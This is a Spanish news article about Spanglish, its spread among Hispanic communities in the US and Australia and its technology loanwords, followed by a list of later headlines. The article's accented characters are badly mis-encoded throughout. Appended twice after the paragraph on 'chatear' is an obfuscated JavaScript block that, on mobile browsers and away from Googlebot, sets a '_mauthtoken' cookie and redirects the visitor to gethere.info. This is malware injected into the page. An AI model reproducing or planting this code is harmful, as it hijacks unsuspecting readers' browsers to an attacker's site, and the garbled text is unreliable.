Noticias

20 Oct 2015
Noticias | Por: Redacción

Spanglish, un coctel lingA?Ai??stico cada vez con mA?s consumidores

El spanglish tiene pocas reglas y muchas variaciones, las frases y oraciones vienen y van prA?cticamente de manera inconsciente pudiendo, inclusive, crear nuevas palabras. AsAi?? han surgido palabras como ai???okai???, ai???linkai???, ai???web siteai???, ai???pleaseai???, entre otros.

El spanglish es un idioma hAi??brido formado por el espaAi??ol y la introducciA?n de tAi??rminos anglosajones sin traducir o traducidos incorrectamente. Con mA?s de 35 millones de latinos, Estados Unidos es uno de los puntos mA?s importantes de poblaciA?n de origen hispano en el mundo y que dio origen a esta conceptualizaciA?n.

Algunos latinos de Estados Unidos se caracterizan por ser monolingA?es, una parte utiliza el espaAi??ol y otra el inglAi??s, pero la gran mayorAi??a se encuentra en un bilingA?ismo en el que domina una lengua sobre otra. Esta situaciA?n de contacto entre el espaAi??ol y el inglAi??s estA? creando influencias en ambas direcciones y estA? dando lugar a una fusiA?n cultural innegable: la hispanizaciA?n de Estados Unidos y la fuerte anglosajonizaciA?n de los hispanos. Uno de los elementos fundamentales de dicha fusiA?n ha sido la mezcla de los idiomas espaAi??ol e inglAi??s, originando un complejo fenA?meno.

A?En quAi?? consiste exactamente el spanglish? Los lingA?istas indican que se trata de un cA?digo cambiante, es decir, una alternancia de ambas lenguas al hablar, con pocas reglas y muchas variaciones de tipo lAi??xico, e incluso morfolA?gico, sintA?ctico y discursivo. Incorporado en los medios de comunicaciA?n (programas de radio y televisiA?n, revistas y periA?dicos), asAi?? como en pelAi??culas y en la mA?sica, y convertido en autAi??ntico movimiento literario, el spanglish ha dejado de ser un fenA?meno A?nicamente oral.

El impacto que ha generado tambiAi??n ha despertado numerosas polAi??micas con respecto a si el espaAi??ol o el inglAi??s pueden perder su pureza de una forma irremediable y si el spanglish es un idioma legAi??timo.

Esta variaciA?n lingA?Ai??stica se da principalmente en Estados Unidos, en las comunidades hispanohablantes de algunos estados como Florida, Georgia, Texas, California o Nueva York. Aunque su uso tambiAi??n es bastante comA?n en zonas mA?s lejanas debido a la influencia de pelAi??culas, televisiA?n o mA?sica, asAi?? como por la presencia de enclaves coloniales estadounidenses en paAi??ses hispanohablantes como la zona del Canal de PanamA?, donde el control estadounidense influyA? en diversos aspectos de la sociedad panameAi??a.

ai???El uso de estructuras del inglAi??s estA? presente igualmente entre la comunidad hispanohablante de Australia. El nivel de uso no tiene las mismas proporciones que en los Estados Unidos, pero es evidente que existe un empleo generalizado en las minorAi??as hispanohablantes de ciudades como SAi??dney o Melbourne, de estructuras gramaticales o lAi??xico del inglAi??s en su lenguaje cotidiano. Es comA?n oAi??r expresiones tales como: ai???vivo en un flat pequeAi??oai???; ai???voy a correr con mis runnersai???; ai???la librerAi??a de la city es grandeai???, o de palabras tales como el rubbish bin, la vacuum cleaner, el tram, el toilet o el mobileai???, asegura la FundaciA?n del EspaAi??ol Urgente (FundAi??u).

ai???Hoy, el spanglish es mucho mA?s que una lengua hablada y escrita. Su influencia se ha extendido a la gastronomAi??a, la mA?sica y la moda. El nA?mero de grupos musicales que cantan en spanglish viene creciendo de manera exponencialai???, reitera la instituciA?n.

palabras empleadas

La tecnologAi??a y el ciberespacio, dos elementos del spanglish

Para nadie es un secreto que el internet y la telefonAi??a celular y un sinfAi??n de avances tecnolA?gicos, con todos sus servicios, llegaron a transformar la vida del ser humano y el lenguaje no es ajeno a dicha transformaciA?n. A travAi??s del chat, los servicios de mensajes electrA?nicos o los mensajes de texto, se han ido cambiando las palabras, a tal punto que ya se habla de un idioma espaAi??ol especial para esta tecnologAi??a, donde prima la velocidad, por encima de las reglas ortogrA?ficas.

El impacto de este tipo de lenguaje es tal que ha empezado a ser usado en la cotidianidad de la vida de los jA?venes, sobre todo, incluso, hay quienes que los suelen utilizar en sus apuntes de clases o en sus tareas y exA?menes, lo que les significa un gran ai???descuentoai??? en la nota por faltas ortogrA?ficas.

La llegada el internet trajo consigo nuevos vocablos como browser, frame, link, cookie, chat, mail, etc., que no tenAi??an una traducciA?n al castellano en ese momento o no se quiso su interpretaciA?n o resultaba mA?s corto pronunciarlo. Por ejemplo, el chatroom bien se pudo haber dicho ai???sala de charlarai???. En algunos casos extremos se ha llegado hasta a conjugar verbos ingleses con las terminaciones propias del castellano: chatear, chateo, chateA?s, chateamos, cuyo uso es tan extendido y comA?n que ha sido admitido por la Real Academia EspaAi??ola (RAE).var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

18 Ene 2019
Este domingo, no te quedés en casa y andá a correr por una buena causa
Noticias | Por: Redacción

Este domingo, no te quedés en casa y andá a correr por una buena causa

8 Ene 2019
#ElegíVos 2019: así se contactaron a los candidatos presidenciales para que los jóvenes conocieran su historia
Noticias | Por: Redacción

#ElegíVos 2019: así se contactaron a los candidatos presidenciales para que los jóvenes conocieran su historia

7 Ene 2019
La Craftería llegó hasta Estados Unidos, un destino único en El Salvador
Noticias | Por: Redacción

La Craftería llegó hasta Estados Unidos, un destino único en El Salvador

7 Ene 2019
#ElegíVos 2019: Elegí al candidato más preparado para la silla presidencial
Noticias | Por: Redacción

#ElegíVos 2019: Elegí al candidato más preparado para la silla presidencial